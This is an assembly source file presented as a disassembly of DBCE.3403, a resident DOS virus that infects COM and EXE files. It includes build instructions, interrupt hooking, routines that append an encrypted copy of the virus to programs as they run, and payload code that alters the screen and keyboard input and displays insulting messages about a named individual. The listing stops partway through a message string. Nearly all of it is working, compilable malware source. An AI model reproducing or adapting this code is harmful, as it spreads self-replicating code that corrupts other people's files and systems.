comment *
			       DBCE.3403
			     Disassembly by
			      Darkman/29A

  DBCE.3403 is a 3403 bytes parasitic resident COM/EXE virus. Infects files at
  load and execute program, except COMMAND.COM, by appending the virus to the
  infected COM/EXE file. DBCE.3403 has an error handler and 8-bit exclusive OR
  (XOR) encryption in file.

  To compile DBCE.3403 with Turbo Assembler v 4.0 type:
    TASM /M DBCE3403.ASM
    TLINK /x DBCE3403.OBJ
    EXE2BIN DBCE3403.EXE DBCE3403.COM
*

.model tiny
.code

code_begin:
	     mov     ax,cs		 ; AX = code segment
virus_seg    equ     word ptr $+01h	 ; Segment of virus in paragraphs
	     add     ax,10h		 ; Add segment of virus in paragrap...
	     push    ax 		 ; Save AX at stack

lea_ax_imm16 equ     word ptr $+01h	 ; Offset of the immediate of LE...
	     lea     ax,first_gen	 ; AX = offset of first_gen
	     push    ax 		 ; Save AX at stack

	     retf			 ; Return far!
decryptor:
	     lea     si,infect_mark	 ; SI = offset of infect_mark
decrypt_loop:
	     dec     si 		 ; Decrease index register

	     add     byte ptr cs:[si],07h

jmp_imm8     equ     word ptr $ 	 ; Offset of JMP imm8
	     jmp     decrypt_loop
crypt_begin:
integr_begin:
	     mov     ah,0feh		 ; DBCE.3403 function
	     int     21h

	     push    es 		 ; Save ES at stack
	     cmp     ah,69h		 ; Already resident?
	     je      virus_exit 	 ; Equal? Jump to virus_exit

	     mov     ah,2ah		 ; Get system date
	     int     21h

	     cmp     cx,7C9h		 ; 1993?
	     je      allocate_mem	 ; Equal? Jump to allocate_mem
	     cmp     cx,7Cah		 ; 1994?
	     ja      virus_exit 	 ; Above? Jump to virus_exit
	     cmp     dh,07h		 ; July?
	     jb      allocate_mem	 ; Below? Jump to allocate_mem
	     ja      virus_exit 	 ; Above? Jump to virus_exit
	     cmp     dl,09h		 ; 9th July?
	     jbe     allocate_mem	 ; Below or equal? Jump to allocate...
virus_exit:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     pop     es 		 ; Load ES from stack

	     cmp     word ptr [file_header],'ZM'
	     je      vir_exe_exit	 ; Equal? Jump to vir_exe_exit

	     lea     si,file_header	 ; SI = offset of file_header
	     mov     di,100h		 ; DI = offset of beginning of code
	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move the original code to beginning

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     push    es 		 ; Save ES at stack

	     mov     ax,100h		 ; AX = offset of beginning of code
	     push    ax 		 ; Save AX at stack

	     jmp     zero_regs
vir_exe_exit:
	     mov     bx,es		 ; BX = segment of PSP for current ...
	     add     bx,10h		 ; BX = segment of beginning of EXE...

	     mov     ax,[initial_ss]	 ; AX = initial SS relative to star...
	     add     ax,bx		 ; Add segment of beginning of EXE ...
	     mov     ss,ax		 ; SS = initial SS relative to star...

	     mov     ax,[initial_sp]	 ; AX = initial SP
	     mov     sp,ax		 ; SP =    "    "

	     mov     ax,[initial_cs]	 ; AX = initial CS relative to star...
	     add     ax,bx		 ; Add segment of beginning of EXE ...
	     push    ax 		 ; Save AX at stack

	     mov     ax,[initial_ip]	 ; AX = initial IP
	     push    ax 		 ; Save AX at stack

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)
zero_regs:
	     xor     ax,ax		 ; Zero AX
	     xor     bx,bx		 ;  "   BX
	     xor     cx,cx		 ;  "   CX
	     xor     dx,dx		 ;  "   DX
	     xor     si,si		 ;  "   SI
	     xor     di,di		 ;  "   DI

	     retf			 ; Return far!
allocate_mem:
	     mov     ah,49h		 ; Free memory
	     int     21h

	     mov     ah,48h		 ; Allocate memory
	     mov     bx,0ffffh		 ; BX = number of paragraphs to all...
	     int     21h

	     mov     ah,4ah		 ; Resize memory block
	     sub     bx,((data_end_-code_begin)-(random_end-random_begin)+0fh)/10h-01h
	     int     21h

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,4ah		 ; Resize memory block
	     mov     cx,es		 ; CX = segment of PSP for current ...
	     stc			 ; Set carry flag
	     adc     cx,bx		 ; Add maximum available for specif...
	     mov     bx,((data_end_-code_begin)-(random_end-random_begin)+0fh)/10h-02h
	     stc			 ; Set carry flag
	     sbb     es:[02h],bx	 ; Subtract size of the virus in pa...
	     mov     es,cx		 ; ES = segment of block to resize
	     int     21h

	     dec     ax 		 ; AX = segment of virus Memory Con...
	     mov     ds,ax		 ; DS =    "    "    "     "      "

	     mov     word ptr ds:[01h],08h

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     cld			 ; Clear direction flag
	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI
	     mov     cx,(data_end-code_begin)
	     rep     movsb		 ; Move virus to top of memory

	     push    es 		 ; Save ES at stack

	     lea     ax,get_set_int	 ; AX = offset of get_set_int
	     push    ax 		 ; Save AX at stack

	     retf			 ; Return far!
get_set_int:
	     mov     bx,(21h*04h)	 ; Get and set interrupt vector 21h
	     lea     dx,int21_virus	 ; DX = offet of int21_virus
	     lea     bp,int21_addr	 ; BP = offset of int21_addr
	     call    get_set_int_

	     mov     bx,(08h*04h)	 ; Get and set interrupt vector 08h
	     lea     dx,int08_virus	 ; DX = offet of int08_virus
	     lea     bp,int08_addr	 ; BP = offset of int08_addr
	     call    get_set_int_

	     mov     bx,(09h*04h)	 ; Get and set interrupt vector 09h
	     lea     dx,int09_virus	 ; DX = offet of int09_virus
	     lea     bp,int09_addr	 ; BP = offset of int09_addr
	     call    get_set_int_

	     xor     ax,ax		 ; Zero AX
	     mov     cx,(random_end-random_begin)/02h
	     lea     di,random_off	 ; DI = offset of random_off
	     rep     stosw		 ; Store zero

	     mov     ah,0fh		 ; Get current video mode
	     int     10h
	     cmp     al,07h		 ; Monochrome?
	     je      monochrome 	 ; Equal? Jump to monochrome

	     mov     cs:[video_addr],0b800h

	     jmp     init_random
monochrome:
	     mov     cs:[video_addr],0b000h
init_random:
	     call    init_random_

	     jmp     virus_exit

get_set_int_ proc    near		 ; Get and set interrupt vector
	     push    ds 		 ; Save DS at stack

	     xor     ax,ax		 ; Zero AX
	     mov     ds,ax		 ; DS = segment of interrupt table

	     mov     ax,[bx]		 ; AX = offset of interrupt
	     mov     cs:[bp],ax 	 ; Store offset of interrupt
	     mov     ax,[bx+02h]	 ; AX = segment of interupt
	     mov     cs:[bp+02h],ax	 ; Store segment of interrupt

	     cli			 ; Clear interrupt-enable flag
	     mov     [bx],dx		 ; Store offset of interrupt
	     mov     [bx+02h],cs	 ; Store segment of interrupt
	     sti			 ; Set interrupt-enable flag

	     pop     ds 		 ; Save DS at stack

	     ret			 ; Return!
	     endp

int24_virus  proc    near		 ; Interrupt 24h of DBCE.3403
	     xor     al,al		 ; Ignore error and continue proces...

	     iret			 ; Interrupt return!
	     endp

int21_virus  proc    near		 ; Interrupt 21h of DBCE.3403
	     pushf			 ; Save flags at stack

	     cmp     ah,0feh		 ; DBCE.3403 function?
	     jne     test_functio	 ; Not equal? Jump to test_functio

	     mov     ah,69h		 ; Already resident

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
test_functio:
	     cmp     ax,4b00h		 ; Load and execute program?
	     je      load_and_exe	 ; Equal? Jump to load_and_exe

	     popf			 ; Load flags from stack

	     jmp     cs:[int21_addr]
	     endp
load_and_exe:
	     mov     cs:[data_segment],ds

	     push    bx cx si di ds es dx

	     pushf			 ; Save flags at stack
	     call    cs:[int21_addr]

	     call    calc_video

	     mov     cx,190h		 ; Clear the first four-hundred cha...
	     xor     di,di		 ; Zero DI
video_loop:
	     mov     byte ptr es:[di],00h

	     inc     di 		 ; Increase index register
	     inc     di 		 ;    "       "      "

	     loop    video_loop

	     mov     ah,0fh		 ; Get current video mode
	     int     10h

	     push    bx 		 ; Save BX at stack
	     mov     ah,02h		 ; Set cursor position
	     xor     dx,dx		 ; Zero DX
	     int     10h

	     mov     bx,0ah		 ; Random number within ten
	     call    rnd_in_range

	     mov     si,ax		 ; SI = random number within ten
	     shl     si,01h		 ; Multiply random number within te...

	     mov     word ptr ds:[exam_offset],320h

	     mov     ah,09h		 ; Write string to standard output
	     or      si,si		 ; Offset of you_have_the?
	     jz      write_str		 ; Zero? Jump to write_str
	     lea     dx,amidst_dale_	 ; DX = offset of amidst_dale_
	     int     21h

	     mov     bx,03h		 ; Random number within three
	     call    rnd_in_range

	     shl     ax,01h		 ; Multiply random number within th...
	     mov     di,ax		 ; DI = random number within three ...

	     mov     ah,09h		 ; Write string to standard output
	     mov     dx,[di+random_msg]  ; DX = offset within random_msg
	     int     21h

	     lea     dx,__the_follow	 ; DX = offset of __the_follow
	     int     21h
write_str:
	     mov     dx,[si+random_msg_] ; DX = offset within random_msg_
	     int     21h

	     mov     cx,190h		 ; Set the color for three hundred ...
	     xor     di,di		 ; Zero DI
video_loop_:
	     mov     byte ptr es:[di+01h],40h

	     inc     di 		 ; Increase index register
	     inc     di 		 ;    "       "      "

	     loop    video_loop_
	     pop     bx 		 ; Load BX from stack

	     mov     ah,02h		 ; Set cursor position
	     mov     dx,500h		 ; DX = row and column
	     int     10h

	     pop     dx es ds di si cx bx
	     push    bx cx si di ds es dx

	     push    ds 		 ; Save DS at stack
	     pop     es 		 ; Load ES from stack (DS)

	     cld			 ; Clear direction flag
	     xor     al,al		 ; Zero AL
	     mov     cx,41h		 ; Search through sixty-five bytes
	     mov     di,dx		 ; DI = offset of filename
	     repne   scasb		 ; Find end of filename

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     push    di 		 ; Save DI at stack
	     pop     si 		 ; Load SI from stack (DI)

	     sub     si,0ch		 ; Subtract twelve from offset of f...
	     lea     di,command_com	 ; DI = offset of command_com
	     mov     cx,0bh		 ; Compare eleven bytes
	     rep     cmpsb		 ; Compare filename
	     jne     load_info		 ; Not equal? Jump to load_info
infect_exit_:
	     jmp     infect_exit
load_info:
	     mov     ax,4300h		 ; Get file attributes
	     pop     dx 		 ; Load DX from stack
	     push    dx 		 ; Save DX at stack
	     int     21h
	     jc      infect_exit_	 ; Error? Jump to infect_exit_
	     mov     cs:[file_attr],cx	 ; Store file attributes

	     mov     bx,(24h*04h)	 ; Set interrupt vector 24h
	     lea     dx,int24_virus	 ; DX = offset of int24_virus
	     lea     bp,int24_addr	 ; BP = offset of int24_addr
	     call    get_set_int_

	     call    calc_integri

	     mov     ax,4301h		 ; Set file attributes
	     xor     cx,cx		 ; CX = new file attributes
	     pop     dx 		 ; Load DX from stack
	     push    dx 		 ; Save DX at stack
	     int     21h
	     jc      infect_exit_	 ; Error? Jump to infect_exit_

	     mov     ax,3d02h		 ; Open file (read/write)
	     int     21h
	     jc      find_f_error	 ; Error? Jump to find_f_error
	     mov     cs:[file_handle],ax ; Store file handle

	     mov     ah,4eh		 ; Find first matching file
	     int     21h
find_f_error:
	     jc      set_cu_error	 ; Error? Jump to set_cu_error

	     mov     ax,4202h		 ; Set current file position (EOF)
	     mov     bx,cs:[file_handle] ; BX = file handle
	     mov     cx,-01h		 ; CX:DX = offset from origin of ne...
	     mov     dx,-06h		 ;   "   "   "     "     "    "    "
	     int     21h
set_cu_error:
	     jc      read_error 	 ; Error? Jump to read_error

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     cx,06h		 ; Read six bytes
	     lea     dx,infect_mark_	 ; DX = offset of infect_mark_
	     int     21h
read_error:
	     jc      carry_error	 ; Error? Jump to carry_error

	     lea     si,infect_mark	 ; SI = offset of infect_mark
	     mov     di,dx		 ; DI = offset of infect_mark_
	     rep     cmpsb		 ; Compare infection mark
	     jne     get_dta_addr	 ; Not previously infected? Jump to...

	     jmp     close_file
get_dta_addr:
	     mov     ah,2fh		 ; Get disk transfer area address
	     int     21h

	     mov     cx,es:[bx+16h]	 ; CX = file time
	     mov     dx,es:[bx+18h]	 ; DX = file date
	     mov     [file_time],cx	 ; Store file time
	     mov     [file_date],dx	 ; Store file date

	     mov     ax,es:[bx+1ah]	 ; AX = low-order word of filesize
	     mov     cx,es:[bx+1ch]	 ; CX = high-order word of filesize

	     or      cx,cx		 ; Too small in filesize?
	     jnz     calc_paragra	 ; Not zero? Jump to calc_paragra
	     cmp     ax,100h		 ; Too small in filesize?
	     jae     calc_paragra	 ; Above or equal? Jump to calc_par...

	     stc			 ; Set carry flag

	     jmp     carry_error
calc_paragra:
	     push    ax 		 ; Save AX at stack
	     mov     dx,cx		 ; DX = high-order word of filesize

	     mov     bx,10h		 ; Divide by paragraphs
	     div     bx 		 ; DX:AX = filesize in paragraphs
	     add     ax,10h		 ; Add size of Program Segment Pref...
	     mov     [virus_seg],ax	 ; Store segment of virus in paragr...

	     or      dx,dx		 ; Zero remainder?
	     pop     ax 		 ; Load AX from stack
	     jz      store_size 	 ; Zero? Jump to store_size

	     inc     [virus_seg]	 ; Increase segment of virus in par...

	     add     ax,10h		 ; Add size of Program Segment Pref...
	     sub     ax,dx		 ; Subtract remainder from filesize...
store_size:
	     mov     word ptr [filesize],cx
	     mov     word ptr [filesize+02h],ax

	     mov     [virus_offset],ax	 ; Store offset of virus within inf...
	     sub     [virus_offset],03h  ; Subtract size of JMP imm16 opcod...
carry_error:
	     jc      set_c_error	 ; Error? Jump to set_c_error

	     mov     ax,4200h		 ; Set current file position (SOF)
	     mov     bx,[file_handle]	 ; BX = file handle
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ;  "   DX
	     int     21h
set_c_error:
	     jc      read_error_	 ; Error? Jump to read_error_

	     mov     ah,3fh		 ; Read from file
	     mov     cx,18h		 ; Read twenty-four bytes
	     lea     dx,file_header	 ; DX = offset of file_header
	     int     21h
read_error_:
	     jc      set_c_error_	 ; Error? Jump to set_c_error_

	     cmp     word ptr [file_header],'ZM'
	     je      move_header	 ; Found EXE signature? Jump to mov...

	     mov     ax,4200h		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     int     21h
set_c_error_:
	     jc      move_header	 ; Error? Jump to move_header

	     mov     ah,40h		 ; Write to file
	     mov     cx,03h		 ; Write three bytes
	     lea     dx,infect_code	 ; DX = offset of infect_code
	     int     21h

	     jmp     write_error
move_header:
	     mov     ax,word ptr [file_header+0eh]
	     mov     [initial_ss],ax	 ; Store initial SS relative to sta...
	     mov     ax,word ptr [file_header+10h]
	     mov     [initial_sp],ax	 ; Store initial SP
	     mov     ax,word ptr [file_header+14h]
	     mov     [initial_ip],ax	 ; Store initial IP
	     mov     ax,word ptr [file_header+16h]
	     mov     [initial_cs],ax	 ; Store initial CS relative to sta...

	     mov     ax,word ptr [filesize+02h]
	     mov     dx,word ptr [filesize]

	     add     ax,(code_end-code_begin)
	     adc     dx,00h		 ; Convert to 32-bit
	     jc      set__error 	 ; Error? Jump to set__error
	     div     [divide_pages]	 ; DX:AX = filesize in pages

	     or      dx,dx		 ; No bytes in last 512-bytes page ...
	     je      dont_inc_pag	 ; Equal? Jump to dont_inc_pag

	     inc     ax 		 ; Increase total number of 512-byt...
dont_inc_pag:
	     mov     word ptr [file_header+04h],ax
	     mov     word ptr [file_header+02h],dx

	     mov     ax,word ptr [filesize+02h]
	     mov     dx,word ptr [filesize]

	     div     [divide_parag]	 ; DX:AX = filesize in paragraphs
	     sub     ax,word ptr [file_header+08h]

	     mov     word ptr [file_header+16h],ax
	     mov     word ptr [file_header+14h],00h

	     add     ax,(code_end-code_begin)/10h

	     mov     word ptr [file_header+0eh],ax
	     mov     word ptr [file_header+10h],100h

	     mov     [virus_seg],00h	 ; Store segment of virus in paragr...

	     mov     ax,4200h		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     int     21h
set__error:
	     jc      write_error	 ; Error? Jump to write_error

	     mov     ah,40h		 ; Write to file
	     mov     cx,18h		 ; Write twenty-four bytes
	     lea     dx,file_header	 ; DX = offset of file_header
	     int     21h
write_error:
	     jc      set__error_	 ; Error? Jump to set__error_

	     mov     ax,4200h		 ; Set current file position (SOF)
	     mov     cx,word ptr [filesize]
	     mov     dx,word ptr [filesize+02h]
	     int     21h
set__error_:
	     jc      save_info		 ; Error? Jump to save_info

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     [jmp_imm8],1111100111101011b

	     xor     si,si		 ; Zero SI
	     lea     di,data_end	 ; DI = offset of data_end
	     mov     cx,(code_end-code_begin)
	     rep     movsb		 ; Create a copy of the virus

	     lea     si,data_end+15h	 ; SI = offset of data_end + 15h
	     mov     cx,(crypt_end-crypt_begin)
encrypt_loop:
	     sub     byte ptr [si],07h	 ; Encrypt byte

	     inc     si 		 ; Increase index register

	     loop    encrypt_loop

	     mov     ah,40h		 ; Write to file
	     mov     cx,(code_end-code_begin)
	     lea     dx,data_end	 ; DX = offset of data_end
	     int     21h
save_info:
	     mov     ax,5701h		 ; Set file's date and time
	     mov     cx,[file_time]	 ; CX = new time
	     mov     dx,[file_date]	 ; DX = new date
	     int     21h
close_file:
	     mov     ah,3eh		 ; Close file
	     int     21h

	     mov     ax,[data_segment]	 ; AX = data segment
	     mov     ds,ax		 ; DS =  "      "

	     mov     ax,4301h		 ; Set file attributes
	     mov     cx,cs:[file_attr]	 ; CX = new file attributes
	     pop     dx 		 ; Load DX from stack
	     push    dx 		 ; Save DX at stack
	     int     21h

	     les     dx,[int24_addr]	 ; ES:DX = pointer to interrupt 24h
	     xor     ax,ax		 ; Zero AX
	     mov     ds,ax		 ; DS = segment of interrupt table
	     mov     ds:[24h*04h],dx	 ; Store offset of interrupt 24h
	     mov     ds:[24h*04h+02h],es ; Store segment of interrupt 24h
infect_exit:
	     pop     dx es ds di si cx bx
	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!

int08_virus  proc    near		 ; Interrupt 08h of DBCE.3403
	     pushf			 ; Save flags at stack

	     pushf			 ; Save flags at stack
	     call    cs:[int08_addr]

	     cmp     cs:[examining],01h  ; Already examining the video pag...?
	     jne     exam_video 	 ; Not equal? Jump to exam_video

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
	     endp
exam_video:
	     mov     cs:[examining],01h  ; Examining the video page (regen ...

	     sti			 ; Set interrupt-enable flag

	     push    ax bx cx dx si di bp ds es

	     call    calc_video

	     mov     ax,40h		 ; AX = segment of BIOS data segment
	     mov     ds,ax		 ; DS =    "    "   "    "      "
	     mov     bp,ds:[4ch]	 ; BP = video page (regen buffer) s...

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     di,[exam_offset]	 ; DI = current offset under examin...
	     mov     cx,50h		 ; Search through eighty bytes
	     cld			 ; Clear direction flag
find_virus:
	     lea     si,computer_vir+0ah ; SI = offset of computer_vir + 0ah
find_virus_:
	     lodsb			 ; AL = byte of computer_vir

	     inc     di 		 ; Increase index register
	     inc     di 		 ;    "       "      "

	     mov     ah,es:[di] 	 ; AH = byte of segment within vide...
	     mov     dl,00h		 ; Upcase character

	     cmp     ah,'A'              ; Text?
	     jb      examine_text	 ; Below? Jump to examine_text
	     cmp     ah,'Z'              ; Text?
	     ja      examine_text	 ; Above? Jump to examine_text

	     add     ah,20h		 ; Lowcase character
	     mov     dl,01h		 ; Lowcase character
examine_text:
	     cmp     ah,al		 ; Found character?
	     jne     not_found		 ; Not equal? Jump to not_found

	     cmp     si,offset computer_vir+0fh
	     je      store_clank	 ; Equal? Jump to store_clank

	     jmp     find_virus_
not_found:
	     jcxz    test_offset	 ; Zero CX? Jump to test_offset

	     dec     cx 		 ; Decrease CX

	     cmp     si,offset computer_vir+0bh
	     jbe     find_virus 	 ; Below or equal? Jump to find_virus

	     dec     di 		 ; Decrease index register
	     dec     di 		 ;    "       "      "

	     jmp     find_virus
test_offset:
	     cmp     di,bp		 ; End of video page (regen buffer)...
	     jb      add_to_off 	 ; Below? Jump to add_to_off

	     mov     [exam_offset],00h	 ; Set current offset under examina...

	     mov     di,51h		 ; DI = current offset under examin...
	     cmp     byte ptr es:[di],40h
	     jne     int08_exit 	 ; Not equal? Jump to int08_exit

	     mov     [exam_offset],320h  ; Set current offset under examina...

	     jmp     int08_exit
add_to_off:
	     add     [exam_offset],0a0h  ; Add hundred and sixty to current...

	     jmp     int08_exit
store_clank:
	     mov     cx,05h		 ; Store five bytes
	     lea     si,computer_vir+12h ; SI = offset of computer_vir + 12h
	     sub     di,08h		 ; Subtract eight from current offs...
store_loop:
	     lodsb			 ; AL = byte of computer_vir

	     cmp     dl,01h		 ; Upcase character?
	     jne     lowcase_char	 ; Not equal? Jump to lowcase_char

	     sub     al,20h		 ; Upcase character
lowcase_char:
	     stosb			 ; Store byte of computer_vir

	     inc     di 		 ; Increase index register

	     loop    store_loop

	     mov     al,es:[di] 	 ; AL = byte of segment within vide...

	     cmp     al,'E'              ; Found a 'E' in the video page (r...
	     je      store_an_i 	 ; Equal? Jump to store_an_i
	     cmp     al,'e'              ; Found a 'e' in the video page (r...
	     jne     int08_exit 	 ; Not equal? Jump to int08_exit
store_an_i:
	     mov     al,'i'              ; Convert the found 'e' to an 'i'

	     cmp     dl,01h		 ; Upcase character?
	     jne     lowcase_ch__	 ; Not equal? Jump to lowcase_ch__

	     mov     al,'I'              ; Convert the found 'E' to an 'I'
lowcase_ch__:
	     stosb			 ; Store a 'i' or a 'I' in the vide...

	     inc     di 		 ; Increase index register

	     stosb			 ; Store a 'i' or a 'I' in the vide...
int08_exit:
	     pop     es ds bp di si dx cx bx ax
	     popf			 ; Load flags from stack

	     mov     cs:[examining],00h  ; Ain't examining the video page (...

	     iret			 ; Interrupt return!

calc_video   proc    near		 ; Calculate segment within video m...
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     cx,[video_addr]	 ; CX = video mode address

	     mov     ah,0fh		 ; Get current video mode
	     xor     bh,bh		 ; Zero BH
	     int     10h

	     mov     ax,100h		 ; Multiply by two hundred and fixt...
	     xchg    bh,bl		 ; BL = active page
	     mul     bx 		 ; DX:AX = pages multiplied by two ...

	     add     cx,ax		 ; Add pages multiplied by two hund...
	     mov     es,cx		 ; ES = segment within video mode a...

	     ret			 ; Return!
	     endp

int09_virus  proc    near		 ; Interrupt 09h of DBCE.3403
	     pushf			 ; Save flags at stack

	     pushf			 ; Save flags at stack
	     call    cs:[int09_addr]

	     cli			 ; Clear interrupt-enable flag

	     push    bx cx dx si di ds es

	     mov     bx,40h		 ; BX = segment of BIOS data segment
	     mov     ds,bx		 ; DS =    "    "   "    "      "

	     mov     bx,ds:[1ch]	 ; BX = pointer to first free slot ...
	     cmp     bx,ds:[1ah]	 ; Pointer to first free slot in ke...
	     je      int09_exit 	 ; Equal? Jump to int09_exit

	     sub     bx,02h		 ; Subtract two from pointer to fir...

	     cmp     bx,1eh		 ; Beginning of keyboard circular b...
	     jnb     reset_offset	 ; Not below? Jump to reset_offset

	     mov     bx,3ch		 ; BX = End of keyboard circular bu...
reset_offset:
	     mov     dx,[bx]		 ; DX = word of keyboard circular b...
	     mov     dh,00h		 ; Upcase character

	     cmp     dl,'A'              ; Text?
	     jb      examine_tex_	 ; Below? Jump to examine_tex_
	     cmp     dl,'Z'              ; Text?
	     ja      examine_tex_	 ; Above? Jump to examine_tex_

	     add     dl,20h		 ; Lowcase character
	     inc     dh 		 ; Lowcase character
examine_tex_:
	     mov     si,cs:[exam_offset_]

	     cmp     dl,cs:[si] 	 ; Equal to the byte from the keybo...
	     jne     reset_offse_	 ; Not equal? jump to reset_offse_

	     inc     cs:[exam_offset_]	 ; Increase Current offset under ex...

	     cmp     si,offset computer_vir+0eh
	     jb      int09_exit 	 ; Below? Jump to int09_exit

	     mov     byte ptr ds:[1ah],1eh
	     mov     byte ptr ds:[1ch],3ah

	     mov     byte ptr ds:[1eh],08h
	     mov     byte ptr ds:[20h],08h
	     mov     byte ptr ds:[22h],08h
	     mov     byte ptr ds:[24h],08h

	     push    ds 		 ; Save DS at stack
	     pop     es 		 ; Load ES from stack (DS)

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     cx,0ah		 ; Compare ten bytes
	     lea     si,computer_vir+12h ; SI = offset of computer + 12h
	     mov     di,26h		 ; DI = offset within keyboard circ...
store_loop_:
	     lodsb			 ; AL = byte of computer_vir

	     cmp     dh,01h		 ; Upcase character?
	     jne     lowcase_cha_	 ; Not equal? Jump to lowcase_cha_

	     sub     al,20h		 ; Upcase character
lowcase_cha_:
	     stosb			 ; Store byte of computer_vir

	     inc     di 		 ; Increase index register

	     loop    store_loop_

	     jmp     int09_exit
reset_offse_:
	     mov     cs:[exam_offset_],offset computer_vir+0ah
int09_exit:
	     sti			 ; Set interrupt-enable flag

	     pop     es ds di si dx cx bx

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
	     endp

init_random_ proc    near		 ; Initialize random number
	     push    ds si dx cx bx	 ; Save registers at stack

	     xor     ah,ah		 ; Get system time
	     int     1ah

	     in      al,40h		 ; AL = 8-bit random number
	     mov     ah,al		 ; AH =   "     "      "
	     in      al,40h		 ; AX = 16-bit random number

	     xor     ax,cx		 ; AX = low-order word of random nu...
	     xor     dx,ax		 ; DX = high-order word of random n...

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     si,random_off	 ; SI = offset of random_off

	     xor     bh,bh		 ; Zero BH

	     jmp     store_random

rnd_in_range proc    near		 ; Random number within range
	     push    ds si dx cx bx	 ; Save registers at stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     si,random_off	 ; SI = offset of random_table
	     mov     bl,[si]		 ; BL = offset within the table of ...
	     xor     bh,bh		 ; Zero BH

	     mov     ax,[bx+si+02h]	 ; AX = low-order word of random nu...
	     mov     dx,[bx+si+04h]	 ; DX = high-order word of random n...

	     add     byte ptr [si],04h	 ; Add four to the offset within th...

	     mov     cx,07h		 ; Modify the random number seven t...
random_loop:
	     shl     ax,01h		 ; Multiply low-order word of rando...
	     rcl     dx,01h		 ; Rorate high-order word of random...

	     mov     bl,al		 ; BL = low-order byte of low-order...

	     xor     bl,dh		 ; Exclusive OR high-order byte of ...
	     jns     dont_inc_rnd	 ; No sign? Jump to dont_inc_rnd

	     inc     al 		 ; Increase low-order byte of low-o...
dont_inc_rnd:
	     loop    random_loop
store_random:
	     mov     bl,[si+01h]	 ; BL = offset within the table of ...

	     mov     [bx+si+02h],ax	 ; Store the low-order word of the ...
	     mov     [bx+si+04h],dx	 ; Store the high-order word of the...

	     add     bl,04h		 ; Add four to the offset within ta...
	     mov     [si+01h],bl	 ; Store offset within the table of...

	     mov     al,dl		 ; AL = low-order byte of high-orde...
	     cmp     bl,[si]		 ; Next offset within the table of...?
	     jne     dont_add_off	 ; not equal? Jump to dont_add_off

	     add     byte ptr [si],04h	 ; Add four to the offset within th...
dont_add_off:
	     pop     bx 		 ; Load BX from stack
	     push    bx 		 ; Save BX at stack

	     xor     dx,dx		 ; Zero DX
	     mul     bx 		 ; DX:AX = random number mutiplied ...

	     mov     bx,0ffffh		 ; Divide by sixty-five thousand an...
	     div     bx 		 ; AX = random number within range

	     pop     bx cx dx si ds	 ; Load registers from stack

	     ret			 ; Return!
	     endp
	     endp

command_com  db      'COMMAND.COM'       ; COMMAND.COM
divide_pages dw      200h		 ; Divide by pages
divide_parag dw      10h		 ; Divide by paragraphs
random_msg   dw      driveling		 ; Offset of driveling
	     dw      clank_clunki	 ; Offset of clank_clunki
	     dw      rubishy_rubi	 ; Offset of rubishy_rubi
random_msg_  dw      you_have_the	 ; Offset of you_have_the
	     dw      in_my_assesm	 ; Offset of in_my_assesm
	     dw      a__virus__or	 ; Offset of a__virus__or
	     dw      the_clankswe	 ; Offset of the_clankswe
	     dw      pseudoviruse	 ; Offset of pseudoviruse
	     dw      computer_vir	 ; Offset of computer_vir
	     dw      rpm_is_not_s	 ; Offset of rpm_is_not_s
	     dw      the_purity_o	 ; Offset of the_purity_o
	     dw      any_so_calle	 ; Offset of any_so_calle
	     dw      if_a_pseudov	 ; Offset of if_a_pseudov
amidst_dale_ db      'Amidst Dale Beaudoin''s $'
driveling    db      'driveling$'
clank_clunki db      'clank clunking crap$'
rubishy_rubi db      'rubishy rubish$'
__the_follow db      ', the following wisdom spews forth:',0ah,0dh,'$'
you_have_the db      'You have the Dale Beaudoin Clankswerks Engine by pseudoVirus writer Virotech!',0ah,0dh
	     db      'This crude clankswerks was quickly and sloppily put together just like',0ah,0dh
	     db      'Dale''s Fido messages.$'
in_my_assesm db      'In my assesment there is ways and means to break new ground in the',0ah,0dh
	     db      'computer sciences.  virus not= virus.  virus = clankswerks engine!$'
a__virus__or db      'A "virus" or "trojan" that attempts to do a DIRECT WRITE bypassing the',0ah,0dh
	     db      'operating system is not a virus.  It is a mathclanking engine.$'
the_clankswe db      'The clankswerks "appears" to have a measure of stealth by passing DOS but',0ah,0dh
	     db      'the intent is more deliberate than stealthy.  The "formula" or "equation"',0ah,0dh
	     db      'is designed with a directive.$'
pseudoviruse db      'PseudoViruses deliberately mathclank other software programs.  They are',0ah,0dh
	     db      'not true viruses.$'
computer_vir db      'Computer "virus" (clankswerks) do not replicate, they iterate,',0ah,0dh
	     db      'decrementally and incrementally through a math engine dependent on a',0ah,0dh
	     db      'specific order of operations.$'
rpm_is_not_s db      'RPM is not software intergrated.  IDE drives I have worked with often',0ah,0dh
	     db      'have the platter scored after subject to a clankswerks.  If the controller',0ah,0dh
